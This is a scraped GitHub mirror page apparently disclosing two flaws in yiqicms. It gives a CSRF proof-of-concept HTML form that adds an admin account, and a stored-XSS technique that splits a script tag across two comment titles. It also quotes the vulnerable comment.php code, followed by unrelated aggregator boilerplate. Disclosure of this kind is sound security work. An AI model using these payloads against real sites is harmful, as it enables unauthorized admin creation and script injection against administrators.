wacj1425 / yiqicms Goto Github PK
View Code? Open in Web Editor NEWyiqicms github file
License: Apache License 2.0
yiqicms github file
License: Apache License 2.0
After the administrator logged in, open the following page
poc:
<html>
<body>
<form action="http://172.16.100.15/yiqicms-master/admin/user-add.php" method="POST">
<input type="hidden" name="username" value="test" />
<input type="hidden" name="userpass" value="1234" />
<input type="hidden" name="confirmpass" value="1234" />
<input type="hidden" name="useremail" value="1234@qq.com" />
<input type="hidden" name="usergender" value="0" />
<input type="hidden" name="action" value="save" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
comment.php code show as below. Only length restrictions are applied to the $msgtitle. So caused a loophole. We can use /**/ to bypass the length limit. For example, the first comment title input "<script>alert(11111/", and second input "/11111)</script>". View comments in the background to trigger the vulnerability.
if($action == "save")
{
$msgtitle = $_POST["msgtitle"];
$msgname = $_POST["msgname"];
$msgcontact = $_POST["msgcontact"];
$msgcontent = htmlspecialchars($_POST["msgcontent"]);
if (empty($_SESSION['captcha']) || trim(strtolower($_POST['capcode'])) != $_SESSION['captcha'])
{
ShowMsg("验证码错误,请重新输入");
exit();
}
if(!preg_match("/^.{1,30}$/",$msgtitle))
{
ShowMsg("请输入正确的标题");
exit();
}
if(!preg_match("/^.{1,10}$/",$msgname))
{
ShowMsg("请输入您的姓名");
exit();
}
if(!preg_match("/^.{1,20}$/",$msgcontact))
{
ShowMsg("请输入正确的联系方式");
exit();
}
if(!preg_match("/^.{1,200}$/",$msgcontent))
{
ShowMsg("请输入正确的留言内容");
exit();
}
$msgcontent = safeCheck($msgcontent);
$userip = $_SERVER["REMOTE_ADDR"];;
$sql = "INSERT INTO yiqi_comments (cid ,title ,name,contact,content,ip,adddate)" .
"VALUES (NULL, '$msgtitle', '$msgname', '$msgcontact','$msgcontent', '$userip', null)";
$result = $yiqi_db->query(CheckSql($sql));
if($result == 1)
{
ShowMsg("留言添加成功");
}
else
{
ShowMsg("留言添加失败");
}
}
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.